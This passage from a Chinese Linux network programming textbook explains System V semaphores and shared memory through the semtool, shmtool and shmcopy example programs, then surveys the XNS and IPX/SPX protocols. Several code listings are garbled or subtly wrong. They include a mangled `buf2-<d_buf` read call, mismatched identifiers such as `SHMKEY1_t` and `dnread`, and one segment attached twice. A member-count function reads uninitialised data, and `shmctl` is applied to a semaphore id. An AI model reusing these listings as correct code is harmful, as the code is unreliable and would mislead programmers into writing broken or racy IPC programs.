参数(是一个指针)。而在semctl()函数中,IPC_STAT 操作是将 semid_ds 的内容拷贝到 arg 参数的 buf 成员指针所指的内存中。所以,下面的代 码会产生错误,而 msgctl()函数的类似代码却不会: void getmode(int sid) { int rc; union semun semopts; /*下面的语句会产生错误*/ if((rc = semctl(sid, 0, IPC_STAT, semopts)) == -1) { perror("semctl"); exit(1); } printf("Pemission Mode were %o\n", semopts.buf->sem_perm.mode); return; } 为什么呢?因为实现没有给 buf 指针分配内存,其指向是不确定的。这种“ 不定向” 的指针是 C 程序中最危险的陷阱之一。改正这个错误,只需要提前给 buf 指针准备一块内 存。下面是修改过的代码: 第四章 进程间通信 - 103 - void getmode(int sid) { int rc; union semun semopts; struct semid_ds mysemds; /*给 buf 指针准备一块内存*/ semopts.buf = &mysemds; /*现在 OK 了*/ if((rc = semctl(sid, 0, IPC_STAT, semopts)) == -1) { perror("semctl"); exit(1); } printf("Permission Mode were %o\n", semopts.buf->sem_perm.mode); return; } 4.8.3 信号量的实例——semtool,交互式的信号量使用工具 1.背景知识 semtool 工具通过命令行参数来决定它的行为,这样它可以被方便的应用于 shell 脚本 中。semtool 提供了和信号量有关的全部功能,包括创建信号量、操作、删除信号量对象以 及更改信号量权限等。使用它我们可以在命令行上控制资源的共享。 2.semtool 的命令行语法 建立信号量对象: semtool c (number of semaphores in set) 锁定信号量: semtool l (semaphore number to lock) 解开信号量的锁定 semtool u (semaphore number to unlock) 改变信号量的权限 semtool m (mode) 删除信号量对象 semtool d 3.semtool 的使用举例 semtool c 5 semtool l semtool u semtool m 660 semtool d 4.semtool 的源码 semtool 程序的源码如下: - 104 - Linux网络编程 #include <stdio.h> #include <ctype.h> #include <stdlib.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #define SEM_RESOURCE_MAX 1 /* Initial value of all semaphores */ void opensem(int *sid, key_t key); void createsem(int *sid, key_t key, int members); void locksem(int sid, int member); void unlocksem(int sid, int member); void removesem(int sid); unsigned short get_member_count(int sid); int getval(int sid, int member); void dispval(int sid, int member); void changemode(int sid, char *mode); void usage(void); int main(int argc, char *argv[]) { key_t key; int semset_id; if(argc == 1) usage(); /* Create unique key via call to ftok() */ key = ftok(".", 's'); switch(tolower(argv[1][0])) { case 'c': if(argc != 3) usage(); createsem(&semset_id, key, atoi(argv[2])); break; case 'l': if(argc != 3) usage(); opensem(&semset_id, key); locksem(semset_id, atoi(argv[2])); break; case 'u': if(argc != 3) usage(); 第四章 进程间通信 - 105 - opensem(&semset_id, key); unlocksem(semset_id, atoi(argv[2])); break; case 'd': opensem(&semset_id, key); removesem(semset_id); break; case 'm': opensem(&semset_id, key); changemode(semset_id, argv[2]); break; default: usage(); } return(0); } void opensem(int *sid, key_t key) { /* Open the semaphore set - do not create! */ if((*sid = semget(key, 0, 0666)) == -1) { printf("Semaphore set does not exist!\n"); exit(1); } } void createsem(int *sid, key_t key, int members) { int cntr; union semun semopts; if(members > SEMMSL) { printf("Sorry, max number of semaphores in a set is %d\n", SEMMSL); exit(1); } printf("Attempting to create new semaphore set with %d members\n", members); if((*sid = semget(key, members, IPC_CREAT|IPC_EXCL|0666)) == -1) - 106 - Linux网络编程 { fprintf(stderr, "Semaphore set already exists!\n"); exit(1); } semopts.val = SEM_RESOURCE_MAX; /* Initialize all members (could be done with SETALL) */ for(cntr=0; cntr<members; cntr++) semctl(*sid, cntr, SETVAL, semopts); } void locksem(int sid, int member) { struct sembuf sem_lock={ 0, -1, IPC_NOWAIT}; if( member<0 || member>(get_member_count(sid)-1)) { fprintf(stderr, "semaphore member %d out of range\n", member); return; } /* Attempt to lock the semaphore set */ if(!getval(sid, member)) { fprintf(stderr, "Semaphore resources exhausted (no lock)!\n"); exit(1); } sem_lock.sem_num = member; if((semop(sid, &sem_lock, 1)) == -1) { fprintf(stderr, "Lock failed\n"); exit(1); } else printf("Semaphore resources decremented by one (locked)\n"); dispval(sid, member); } void unlocksem(int sid, int member) { 第四章 进程间通信 - 107 - struct sembuf sem_unlock={ member, 1, IPC_NOWAIT}; int semval; if( member<0 || member>(get_member_count(sid)-1)) { fprintf(stderr, "semaphore member %d out of range\n", member); return; } /* Is the semaphore set locked? */ semval = getval(sid, member); if(semval == SEM_RESOURCE_MAX) { fprintf(stderr, "Semaphore not locked!\n"); exit(1); } sem_unlock.sem_num = member; /* Attempt to lock the semaphore set */ if((semop(sid, &sem_unlock, 1)) == -1) { fprintf(stderr, "Unlock failed\n"); exit(1); } else printf("Semaphore resources incremented by one (unlocked)\n"); dispval(sid, member); } void removesem(int sid) { semctl(sid, 0, IPC_RMID, 0); printf("Semaphore removed\n"); } unsigned short get_member_count(int sid) { union semun semopts; struct semid_ds mysemds; semopts.buf = &mysemds; /* Return number of members in the semaphore set */ - 108 - Linux网络编程 return(semopts.buf->sem_nsems); } int getval(int sid, int member) { int semval; semval = semctl(sid, member, GETVAL, 0); return(semval); } void changemode(int sid, char *mode) { int rc; union semun semopts; struct semid_ds mysemds; /* Get current values for internal data structure */ semopts.buf = &mysemds; rc = semctl(sid, 0, IPC_STAT, semopts); if (rc == -1) { perror("semctl"); exit(1); } printf("Old permissions were %o\n", semopts.buf->sem_perm.mode); /* Change the permissions on the semaphore */ sscanf(mode, "%ho", &semopts.buf->sem_perm.mode); /* Update the internal data structure */ semctl(sid, 0, IPC_SET, semopts); printf("Updated...\n"); } void dispval(int sid, int member) { int semval; semval = semctl(sid, member, GETVAL, 0); 第四章 进程间通信 - 109 - printf("semval for member %d is %d\n", member, semval); } void usage(void) { fprintf(stderr, "semtool - A utility for tinkering with semaphores\n"); fprintf(stderr, "\nUSAGE: semtool4 (c)reate <semcount>\n"); fprintf(stderr, " (l)ock <sem #>\n"); fprintf(stderr, " (u)nlock <sem #>\n"); fprintf(stderr, " (d)elete\n"); fprintf(stderr, " (m)ode <mode>\n"); exit(1); } 4.9 共享内存(Shared Memory) 共享内存,简单的说就是被多个进程共享的内存。它在各种进程通信方法中是最快的, 因为它是将信息直接映射到内存中,省去了其它 IPC 方法的中间步骤。 4.9.1 有关的数据结构 下面我们来介绍几个和共享内存有关的数据结构: 1.shmid_ds 和前面介绍的两个 IPC 对象一样,共享内存也有一个给系统内存用来保存相关信息的 结构,就是 shmid_ds。它在 linux/shm.h 中的定义是这样的: struct shmid_ds { struct ipc_perm shm_perm; /* operation perms */ int shm_segsz; /* size of segment (bytes) */ __kernel_time_t shm_atime; /* last attach time */ __kernel_time_t shm_dtime; /* last detach time */ __kernel_time_t shm_ctime; /* last change time */ __kernel_ipc_pid_t shm_cpid; /* pid of creator */ __kernel_ipc_pid_t shm_lpid; /* pid of last operator */ unsigned short shm_nattch; /* no. of current attaches */ unsigned short shm_unused; /* compatibility */ void *shm_unused2; /* ditto - used by DIPC */ void *shm_unused3; /* unused */ }; 其中, shm_perm 成员储存了共享内存对象的存取权限及其它一些信息。 shm_perm 成员定义了共享的内存大小(以字节为单位)。 shm_atime 成员保存了最近一次进程连接共享内存的时间。 shm_dtime 成员保存了最近一次进程断开与共享内存的连接的时间。 - 110 - Linux网络编程 shm_ctime 成员保存了最近一次 shmid_ds 结构内容改变的时间。 shm_cpid 成员保存了创建共享内存的进程的 pid。 shm_lpid 成员保存了最近一次连接共享内存的进程的 pid。 shm_nattch 成员保存了与共享内存连接的进程数目。 剩下的三个成员被内核保留使用,这里就不介绍了。 4.9.2 有关的函数 接下来我们介绍和共享内存有关的函数: 1.sys_shmget()函数 使用 shmget()函数来创建新的或取得已有的共享内存。它在 Linux 系统库 linux/shm.h 中的定义是这样的: 系统调用: shmget() 函数声明: int shmget ( key_t key, int size, int shmflg); 返回值: shared memory segment identifier on success -1 on error: errno = EINVAL (Invalid segment size specified) EEXIST (Segment exists, cannot create) EIDRM (Segment is marked for deletion, or was removed) ENOENT (Segment does not exist) EACCES (Permission denied) ENOMEM (Not enough memory to create segment) 和前面两个 IPC 对象的对应函数一样,shmget()函数的第一个参数 key 是共享内存的关 键字;第二个参数 size 是创建的共享内存的大小,以字节为单位。第三个参数 shmflg 是控 制函数行为的标志量,其取值的含义和作用和 msgget()及 semget()函数的对应参数都是相同 的,这里不再赘述。 如果操作成功,函数返回共享内存的标识符。 下面的代码示范了 shmget()函数的使用: int open_shm( key_t keyval, int segsize ) { int shmid; if((shmid = shmget( keyval, segsize, IPC_CREAT | 0660 )) == -1) { return(-1); } return(shmid); } 2.shmat()函数 当一个进程使用 shmget()函数得到了共享内存的标识符之后,就可以使用 shmat()函数 来将共享内存映射到进程自己的内存空间内。shmat()函数在 Linux 系统函数库 linux/shm.h 中的函数声明如下: 系统调用: shmat() 函数声明: int shmat ( int shmid, char *shmaddr, int shmflg); 返回值: address at which segment was attached to the process, or -1 on error: errno = EINVAL (Invalid IPC ID value or attach address 第四章 进程间通信 - 111 - passed) ENOMEM (Not enough memory to attach segment) EACCES (Permission denied) 第一个参数是共享内存的标识符。 第二个参数 shmaddr 指定了共享内存映射的地址。因为这样必须要预先分配内存,十 分不便,所以我们在使用时常常将这个参数置零,这样系统会自动为映射分配一块未使用 的内存。如果指定了地址,可以给第三个参数 shmflg 指定 SHM_RND 标志来强迫将内存大 小设定为页面的尺寸。 如果指定了 SHM_RDONLY 参数,共享内存将被映射成只读。 映射成功后,函数返回指向映射内存的指针。 下面的这段代码演示了 shmat()函数的使用: char *attach_segment( int shmid ) { return(shmat(shmid, 0, 0)); } 得到了映射内存的指针之后,我们就可以像读写普通内存一样对共享内存进行读写了。 3.shmctl()函数 和前两个 IPC 对象一样,共享内存也有一个直接对其进行操作的函数,就是 shmctl() 函数。它在 Linux 系统函数库 linux/shm.h 中的函数声明是这样的: 系统调用: shmctl() 函数声明: int shmctl ( int shmqid, int cmd, struct shmid_ds *buf ); 返回值: 0 on success -1 on error: errno = EACCES (No read permission and cmd is IPC_STAT) EFAULT (Address pointed to by buf is invalid with IPC_SET and IPC_STAT commands) EIDRM (Segment was removed during retrieval) EINVAL (shmqid invalid) EPERM (IPC_SET or IPC_RMID command was issued, but calling process does not have write (alter) access to the segment) 这个函数和 msgget()函数十分相似,用法也相同。它支持的操作有: IPC_STAT 获得共享内存的信息。 IPC_SET 设定共享内存的信息。 IPC_RMID 删除共享内存。 需要说明的是,当执行 IPC_RMID 操作时,系统并不是立即将其删除,而只是将其标 为待删,然后等待与其连接的进程断开连接。只有当所有的连接都断开以后系统才执行真 正的删除操作。当然,如果执行 IPC_RMID 的时候没有任何的连接,删除将是立即的。 4.shmdt()函数 当一个进程不再需要某个共享内存的映射时,就应该使用 shmdt()函数断开映射。它在 linux/shm.h 中的函数声明如下: 系统调用: shmdt() 函数声明: int shmdt ( char *shmaddr ); 返回值: -1 on error: errno = EINVAL (Invalid attach address passed) shmdt()函数唯一的参数是共享内存映射的指针。怎么样,是不是想起了 malloc()/free() 函数呢? - 112 - Linux网络编程 4.9.3 共享内存应用举例——shmtool,交互式的共享内存使用工具 1.背景知识 shmtool 工具通过命令行参数来决定它的行为,这样它可以被方便的应用于 shell 脚本 中。shmtool 提供了和共享内存有关的全部功能,包括创建、删除共享内存以及对其的读写 等。和前面的例子一样,在任何操作中,只要共享内存不存在,它就自动被创建。 2.shmtool 的命令行语法 向共享内存写入字符串: shmtool w "text" 从共享内存中读出字符串: shmtool r 改变共享内存的权限: shmtool m (mode) 删除共享内存: shmtool d 3.共享内存使用举例 shmtool w test shmtool w "This is a test" shmtool r shmtool d shmtool m 660 4.shmtool 的源码 #include <stdio.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #define SEGSIZE 100 main(int argc, char *argv[]) { key_t key; int shmid, cntr; char *segptr; if(argc == 1) usage(); /* Create unique key via call to ftok() */ key = ftok(".", 'S'); /* Open the shared memory segment - create if necessary */ if((shmid = shmget(key, SEGSIZE, IPC_CREAT|IPC_EXCL|0666)) == -1) { 第四章 进程间通信 - 113 - printf("Shared memory segment exists - opening as client\n"); /* Segment probably already exists - try as a client */ if((shmid = shmget(key, SEGSIZE, 0)) == -1) { perror("shmget"); exit(1); } } else { printf("Creating new shared memory segment\n"); } /* Attach (map) the shared memory segment into the current process */ if((segptr = shmat(shmid, 0, 0)) == -1) { perror("shmat"); exit(1); } switch(tolower(argv[1][0])) { case 'w': writeshm(shmid, segptr, argv[2]); break; case 'r': readshm(shmid, segptr); break; case 'd': removeshm(shmid); break; case 'm': changemode(shmid, argv[2]); break; default: usage(); } } writeshm(int shmid, char *segptr, char *text) { strcpy(segptr, text); printf("Done...\n"); } readshm(int shmid, char *segptr) { - 114 - Linux网络编程 printf("segptr: %s\n", segptr); } removeshm(int shmid) { shmctl(shmid, IPC_RMID, 0); printf("Shared memory segment marked for deletion\n"); } changemode(int shmid, char *mode) { struct shmid_ds myshmds; /* Get current values for internal data structure */ shmctl(shmid, IPC_STAT, &myshmds); /* Display old permissions */ printf("Old permissions were: %o\n", myshmds.shm_perm.mode); /* Convert and load the mode */ sscanf(mode, "%o", &myshmds.shm_perm.mode); /* Update the mode */ shmctl(shmid, IPC_SET, &myshmds); printf("New permissions are : %o\n", myshmds.shm_perm.mode); } usage() { fprintf(stderr, "shmtool - A utility for tinkering with shared memory\n"); fprintf(stderr, "\nUSAGE: shmtool (w)rite <text>\n"); fprintf(stderr, " (r)ead\n"); fprintf(stderr, " (d)elete\n"); fprintf(stderr, " (m)ode change <octal mode>\n"); exit(1); } 4.9.4 共享内存与信号量的结合使用 在前面的介绍中可以看出,共享内存的使用非常的简便,只要取得映射的指针就可以 直接存取,省去了其它 IPC 方式的传递过程,因此效率极高。不过,因此也产生了一些问 题。如:一个进程修改一个共享内存单元,另一个进程在读该共享内存单元时可能有第三个 进程立即修改该单元,从而会影响程序的正确性。同时,由于分时系统对各进程是分时间 第四章 进程间通信 - 115 - 片处理的,可能会引起不同的正确性问题。为了避免这些问题,在使用中常常将共享内存 和信号量结合使用,利用信号量的保护机制来防止内存的不正确共享。 我们通过实例程序 shmcopy 来进一步说明共享存贮器的实际使用情况。shmcopy 的功 能很简单:把其从标准输入读到的内容送到标准输出。每次调用 shmcopy 就形成两个进程 ——读进程和写进程。它们共享两个缓冲区,这两个缓冲区作为共享内存段来实现。当读 进程把数据读入第一个缓冲区期间,写进程就把第二个缓冲区内容写出去,反之亦然。由 于读和写是并发进行的,所以数据吞吐量增加了。这种方法可以用在磁盘高速缓冲程序中。 为了使两个进程同步,防止读进程装满缓冲区之前,写进程就把该缓冲区内容写出来, 我们使用了两个信号量。几乎所有的共享存贮器程序都要使用信号量来实现同步。共享存 贮器机构本身没有提供同步功能。 在程序 shmcopy 中使用了标题文件 share_ex.h,该文件的内容如下: #include <stdio.h> #include <signal.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/sem.h> /* 共享内存的关键字 */ #define SHMKEY1_t (key_t)0x10 #define SHMKEY2 (key_t)0x15 /* 信号量的关键字 */ #define SEMKEY (key_t)0x20 /* 读写缓冲区的大小 */ #define SIZ 5*BUFSIZ struct databuf{ int d_nread; char d_buf[SIZ]; }; 其中,符号常数 BUFSIZ在头文件 stdio.h 中被定义,它是系统的磁盘块长度。结构 databuf 将强加给每个共享存贮器段,其中的 d_nread 域用于存放读进程所读的字符数,可以通过 共享存贮器段把这个数传送给写进程。d_buf 域用于存放共享信息。 下面的清单中有三个例行程序,getseg()和 getsem()分别实现对两个共享存贮器段和信 号量组的初始化。remove 用于在进程结束端删除各种 IPC 目标。 #include "share_ex.h" #define IFLAGS (IPC_CREAT | IPC_EXCL) #define ERR ((struct databuf*) -1) static int shmid1,shmid2,semid; fatal(char *mes) - 116 - Linux网络编程 { perror(mes); exit(1); } getseg(struct databuf** p1,struct databuf** p2) { /* 创建共享内存 */ if ((shmid1=shmget(SHMKEY1,sizeof(struct databuf),0600|IFLAGS )) < 0) fatal("shmget"); if ((shmid2=shmget(SHMKEY2,sizeof(struct databuf),0600|IFLAGS )) < 0) fatal("shmget"); /* 建立与共享内存的连接 */ if ((*p1=(struct databuf*)(shmat(shmid1,0,0)))==ERR) fatal("shmat"); if ((*p2=(struct databuf*)(shmat(shmid1,0,0)))==ERR) fatal("shmat"); } int getsem() { /* 建立信号量对象 */ if ((semid=semget(SEMKEY,2,0600|IFLAGS))<0) fatal("semget"); /* 初始化信号量对象 */ if (semctl(semid,0,SETVAL,0)<0) fatal("semctl"); if (semctl(semid,1,SETVAL,0)<0) fatal("semctl"); return (semid); } remove() { if(shmctl(shmid1,IPC_RMID,NULL)<0) 第四章 进程间通信 - 117 - fatal("shmctl"); if(shmctl(shmid2,IPC_RMID,NULL)<0) fatal("shmctl"); if(shmctl(semid,IPC_RMID,NULL)<0) fatal("semctl"); } 请注意以上程序中调用 shmat 把共享存贮器段连入进程的地址空间的方法。这些例行 程序中用 fatal 来处理出错,它知识调用了 perror(),然后再调用 exit()。 shmcopy 的 main 函数很简单,它现实调用初始化例行程序,然后建立读进程(父进程) 和写进程(子进程)。main 函数的清单如下: #include "share_ex.h" main() { int semid,pid; struct datebuf *buf1,*buf2; /* 初始化信号量对象 */ semid=getsem(); /* 创建并连接共享内存 */ getseg(&buf1,&buf2); switch(pid=fork()) { case -1: fatal("fork"); case 0: writer(semid,buf1,buf2); remove(); break; default: reader(semid,buf1,buf2); break; } exit(0); } 请注意,程序结束是写进程调用了 remove()。另外,main()函数在调用 fork()前建立了 IPC 对象,这样,标识共享存贮器段的地址在两个进程中都是有意义的。 例行程序 reader 从标准输入读取内容,它从 semid 中得到信号量描述符,从 buf1 和 buf2 中得到两个共享存贮器段的地址。它的清单如下: - 118 - Linux网络编程 #include "share_ex.h" struct sembuf p1={ 0,-1, 0 }, p2={1,-1,0 }, v1={0, 1,0 }, v2={1, 1,0}; reader(int semid,struct databuf *buf1,struct databuf *buf2) { for(;;) { /* 读入 buf1 缓冲区 */ buf1->dnread=read(0,buf1->d_buf,SIZ); /* 同步 */ semop(semid,&v1,1); semop(semid,&p2,1); /* 防止 writer 进程休眠 */ if (buf1->d_nread<=0) return; buf2->d_nread(0,buf2-<d_buf,SIZ); semop(semid,&v2,1); semop(semid,&p1,1); if(buf2->d_nread<=0) return; } } 这儿的 sembuf 类型结构为一个拥有两个信号量的信号量组定义了 P、V 操作。P、V 操作在这里不是用于锁定代码的临界区,而用于读进程和写进程同步。reader 用 v1 来发生 一个读操作已完成的信号,并调用带 p2 的 semop 来等待 writer 的写操作已完成信号。 shmcrop 调用的最后一个例行程序是 writer(),其清单如下: #include "share_ex.h" extern struct sembuf p1,p2; extern struct sembuf v1,v2; writer(int semid,struct databuf buf1,struct databuf buf2) { for(;;) { semop(semid,&p1,1); 第四章 进程间通信 - 119 - if (buf1->d_nread<=0) return; write(1,buf1->d_buf,buf1->d_nread); semop(semid,&v1,1); semop(semid,&p2,1); if (buf2->d_nread<=0) return; write(1,buf2->d_buf,buf2->d_nread); semop(semid,&v2,1); } 这儿要注意 reader()和 writer 对信号量组使用的一致性。writer()用 v2 来发出一个写操 作已完成的信号,并调用 p1 来等待 semop 的读操作已完成信号。另外,必须注意下列情 况:buf1->d_nread 和 buf2->d_nread 之值是由读进程设置的。 shmcopy 作为命令的使用方法如下: shmcopy <input file >output file - 120 - Linux网络编程 第五章 通信协议简介 5.1 引言 通信协议用于协调不同网络设备之间的信息交换,它们建立了设备之间互相识别的有 价值的信息机制。当今在通信界有许多可采用的协议,如 XNS、SNA、TCP/IP 等。这些协 议具有处理各种不同数据通信类型类型的几种基本结构。 在小型工作群和办公部门,局域网正在成为企业极计算的主要平台,过去只有简单的 二十个用户的网络现已发展成能包含几千个用户的全企业网络,并可将许多不同的办公部 门连在一起。 为了配合这种新要求,LAN 协议变得越来越有力和灵活。本章将介绍几种最广泛使用 的协议,比较详细的讨论它们的结构和经过网络进行通信的方法。 5.2 XNS(Xerox Network Systems)概述 Xerox Network Systems(XNS)由 Xerox 公司的 Palo Alto 研究中心(Xerox PARC)的 研究人员开发。起初被设计成连接用于 Xerox 环境的计算机。XNS 是许多局域网结构的基 础设计,对 Novel 和 3com 等公司后来的设计有很大影响。 作为多重 LAN 结构基础的 XNS,其主要特点是设计清楚而简单,实现起来相对方便。 XNS 是最早一种分层网络结构,比 OSI 参考模型出现得更早,对后来的 7 层 OSI 具有 一定的启发作用。 XNS 结构是为它自己的用户阻止专用而设计的,主要服务于 PARC 的研究人员。用于 网络上的电子邮件、电子资料交换和资料的远程打印等项业务。这意味着各个站点比较靠 近。由于存在着距离较近的有利条件,因此设备之间的通信可设计得比较快而可靠。 在 XNS 结构的情况下,可以互联几种类型的设备,特别是工作站和路由器。局域网络 内部的工作站互相连接,各个局域网络又可互联,形成成为网中网的较大系统。路由器通 常放在各个局域网络的交界处,用于在子网间路上选择数据报文。 5.2.1 XNS 分层结构 XNS 结构由五层组成。它和 OSI 模型相似,较高层使用较低层提供的服务,完成较低 层的任何请求。这种协议提供了一个服务范围,包括报文传递、请求和回答包交换,以及 排序的包和字节流。层的编号是从 0 到 4。第 0 层是与网络通信媒体相互作用的最低层, 第 4 层包括网络应用和服务。 1.第四层 第四层是 XNS 的最高层。与 OSI 模型的应用层(第 7 层)相对应。在这一层规定了 两个协议和服务。 交换服务(Clearing house)。 执行分布的名字服务,提供给 XNS 连接的计算机一种使资源和计算机与名字相联系或 相结合的方法。 网关存取协议(GAP)。 第五章通信协议简介 - 121 - 它提供使 XNS 系统连接到非 XNS 系统的网关服务。文件、打印和报文服务通常归第 四层 2.第三层 XNS 的第三层与 OSI 模型的对话层和表示层(第 5 层和第 6 层)相一致。该层所规定 的协议称为信使,信使控制存取网路或网际上的远程过程调用。远程过程调用(RPC)是 类似本地过程调用的网络扩展。它们能让应用程序存取文件,并能远程现实和打印网络上 的其它资源。 3.第二层 XNS 的第二层与 OSI 模型的传输层(第 4 层)相一致。该层除包含被认为是传输层协 议的协议外,还有以下几个协议: 排序包协议(SPP)。 它是一种全双工的传输级协议。这个协议考虑到了两个站点之间的可靠数据交换。协 调发送方和接收方之间的同步并在它们之间建立连接。在这个处理期间家里排序好,标记 在它们之间建立的包,在包级的基础上完成这种排序。 包交换协议(PEP)。 它是一种请求和响应协议。如果在规定的时间后没有接收到响应,则重传包。它使用 在面向事务的应用程序中,因为这种应用程序要求简单而快速的信息交换协议。 路由选择信息协议(RIP)。 类似于其它的 RIP 实现,在距离向量算法的基础上提供路由选择表的动态修改。应注 意这个规范没有规定特定的路由选择算法,但是大多数厂家正在实现它们,它的修改时间 间隔是 60 秒。 差错协议。 允许一个网络站点通知另一个网络站点被接收的包已经发生差错。 回送协议(Echo)。 这个协议考虑到了网络通路的测试或记录的来回旅程时间。 4.第一层 XNS 的第一层符合 OSI 模型的网络层(第 3 层)。第一层本质上执行路由器的功能。 在源和目的地包地址的基础上经过网络路由选择包。用于实现这种服务的协议被称为网际 数据报文协议(IDP)。这个协议的目的是寻址、路由选择和传递标准网际包。它为在网际 上传输和接收数据提供传递系统。这个过程传递无连接型服务。 5.第零层 第零层与 OSI 模型的物理和数据链路层(第 1 层和第 2 层)相一致,Xerox 称这层的 协议为传输媒体协议。和 OSI 模型的情况一样,第零层负责为经过物理通信媒体传输和接 收数据。这层支持的协议有 Ethernet、RS-232-C 和 RS-449。此外, X.25 被认为是传输媒 体协议。 XNS 网际可以由几个不同的相连网络组成。由称为路由器的计算机将这些网络连在一 起。路由器能在连接的网络之间选择路由传输数据包。每个网络可以在理论上有无数的被 连接的工作站,每个站点可以运行多重应用程序。 为了正确识别通信终点,XNS 使用以下三个编号进行网际寻址: 网络号。它是 32 位的编码,用于识别网络(子网)。 主机(可以是网络站点)号。正确识别网络接口卡(NIC),以及安装 NIC 主机的 48 位地址。这种 48 位地址是世界上唯一的地址,不能配置和修改。 插座(socker)号。插座是网络中通信的最终电,它允许工作站中的网络协议了 解数据的目的地。插座号通常指端口号,但它的含义大体上是端口号、主机和网络号的组 - 122 - Linux网络编程 合。它是一个应用程序用于识别通信终点的 16 位值。 虽然在整个网际上主机号是唯一的,似乎可以不用网络号,但是由于网络号通常比主 机上,如果以来网络号进行路由选择,则能减少路由选择表的规模,而且能以较快的速率 交换包,因此网络号是必要的。使用较小的表还可以减少修改,维持路由选择表所需要的 开销。 5.3 IPX/SPX 协议概述 Novell Netwate 协议是以 XNS 协议为基础的,也是分层结构。甚至寻址方式也和 XNS 非常一致。Netware 协议主要包括 IPX、SPX、RIP、NCP 和 NetBIOS 仿真。 和 Xerox 的网际数据报文协议与排序包协议相对应的 Novell 实现称为网际包交换 (IPX)和排序包交换(SPX)。SPX 是一个可靠的,面向连接的协议。IPX 是不可靠的数 据报文协议。 为了查询、维护工作站和服务器上的路由选择表,Netware 使用了路由选择协议(RIP) 的修改的版本。 Novell 采用了 XNS 的网络寻址结构。由网络编号,主机编号和主机上的插座编号提供 了完全的地址。网络编号长度是 32 位,主机编号是 48 位、插座编号是 16 位。 5.3.1 网际包交换(IPX) 网际包交换(IPX)是 Novell 的网络分层协议。IPX 是从 XNS 的网际数据报文协议推 导而来的,具有相同的包结构。 IPX 提供给工作站和服务器非连接型的,不可靠的数据报文服务。为了使包传递到目 的地,IPX 竭尽全力,但不要求确认信息,IPX 依赖于高层协议(例如 SPX 或 NCP)提供 可靠的排序数据流服务。 IPX 由帧头和数据部分组成,帧头 30 字节长。由于 IPX 不为包的分段提供任何设施, 因此 IPX 实现方法必须确保它们所发送的包是足够的小,能在它们需要经过的任何网络上 传输。IPX 要求所有链路能处理 576 字节长的 IPX 包,因此不能发送大于 576 字节的包。 但如果链路能处理大于 576 字节的包,则可使用较大的包。IPX 包结构如表 5-1 所示: 表 5-1 IPX 包结构 校验和 2 字节 长度 2 字节 传输控制 1 字节 包类型 1 字节 目的地网络 4 字节 目的地主机 6 字节 目的地插座 2 字节 源网络 4 字节 源节点 6 字节 源插座 2 字节 数据 多达 546 字节 下面讨论某些个别字段 校验和。 这个字段必须包含值 FFFFH(H 为十六进制标志)。校验和可看成是最高档的奇偶校 验。其目的是确保所发送的位与所接收的位相同。在传输期间不变动包中的位。 长度。 第五章通信协议简介 - 123 - 包含整个 IPX 数据报文,帧头和所包括的数据的字节数。包的最小长度是 30 字节(帧 头),最大长度是 576 字节(如果包通过网际路由器)。 传输控制。 用于确保数据报文绝不无限的循环,该字段起初由发送站点设置为“0”,它技术条约的 次数(经过路由器的数量)。当计数值等于 16 时,放弃该数据报文。 包类型。 使 IPX 能向相应的较高层协议传递包。该字段用于只是数据字段中的数据类型,由于 IPX 是以 XNS 的 IDP 协议的推导结果,因此它遵循 Xerox 给出的类型。IPX 规定了以下的 四种包类型: 表 5-2 IPX 包类型 未知的包类型 0(hex) 类型 包交换协议 4(hex) 类型 排序包类型 5(hex) 类型 Netware 核心协议 B(hex) 类型 网际地址由网络地址,主机地址和插座地址组成,插座地址识别主机(工作站)上的 通信进程。IPX 支持每个站点多达 50 个插座,0 的网络地址表示本地网络。 为了提供重要的网络带宽服务,Novell 规定了几个著名的插座地址: 表 5-3 几个常用插座及其含义 文件服务器 0451H Netware 核心协议(NCP) 路由器固定插座 0452H 服务公告协议(SAP) 0453H 路由选择信息协议(RIP) 工作站插座 4000H-6000H 用于工作站与文件服务器交互作用和其它网络通信的动态分配的 插座 0455H NetBIOS 0456H 诊断包 数据。 包含经过网络发送的信息。应用程序可以使用 API 插座上放置数据,并使用 IPX 将它 发送到远程计算机,较高层协议(例如 SPX、NCP、RIP 和 SAP)的包被放入 IPX 包的数 据部分。在数据部分填充较高层协议包的这种处理被称为封装。 IPX 与数据链路层连接,为了通过网络传输,数据链路层将数据编制成适于跨网传输 的帧。IPX 提供给数据链路层的目的地主机地址取决于被连到本地网络,还是被连到远程 网络。 如果目的地站点处于本地网络内,则将这个站点地址交付给带有 IPX 包的数据链路层, 以便直接传递到目的地站点,如果目的地站点和源站点不在同一网络内,则还需做额外的 工作。 在这种情况下,IPX 发送路由选择请求包,使用路由选择信息协议(RIP)来确定发送 包的最佳路由。然后由对方返回一个确认信息。包括能向目的地网络转送包的路由器的主 机地址。在具备这种信息的情况下,本地和远程计算机的源和目的地地址被传递到链路层, 以便能立即传递到这个站点(路由器)。 当路由器接收包时,它确定是否将包连接到储存在 IPX 包那的目的地网络,如果需要 连到目的地网络,则直接传递包,否则路由器咨询它的路由选择表,以确定下一个路由器 向哪里传送包。IPX 包的源和目的地址始终不便。在目的地站点上,IPX 将包传递到适当 - 124 - Linux网络编程 的插座。 5.3.2 排序包交换(SPX) 排序包交换(SPX)是 Novell 的传输层协议。它起源于 Xerox 的排序包协议(SPP)。 SPX 在网络站点之间提供可靠的面向连接的虚拟电路服务。SPX 利用 IPX 的数据报文 服务提供排序数据流。它通过实现一个特定的系统,保证每个被发送的包已被确认来完成 上述功能。此外它还在网络站点之间提供流量控制,并确保没有重份被传递到远程进程。 为了降低网络上的拥塞状况,SPX 减少了不必要的重传发生次数。重传多半发生在发 送站点超时等待确认的情况下,SPX 使用了一个特定的算法,能准确估算重传时间,从而 减少了试重传次数。 为了装载连接控制信息,SPX 向 IPX 包帧头部分增加 12 字节,使原 30 字节的帧头变 成 42 字节的组合帧头。SPX 的帧头格式如下: 表 5-4 SPX 帧头格式 连接控制 1 字节 数据流类型 1 字节 源连接 ID 2 字节 目的地连接 ID 2 字节 顺序编号 2 字节 确认编号 2 字节 分配编号 2 字节 数据 多达 534 字节 连接控制。它是控制链路上数据流的一组标记。它可以表明报文结束,并请求确 认。 数据流类型。它使较高层协议能赋予包中数据含义。该字段中信息的意义取决于 使用这个字段的协议。 源连接 ID 和目的地连接 ID,能唯一识别同层进程之间的连接,通过使用连接 ID, 一个 IPX 插座可多路转换多重连接。 排序编号。用于实现 SPX 的流量控制,包排序和抑制复制的包。 确认编号。由目的地使用。用于通知发送方它所等待的下一个顺序编号。 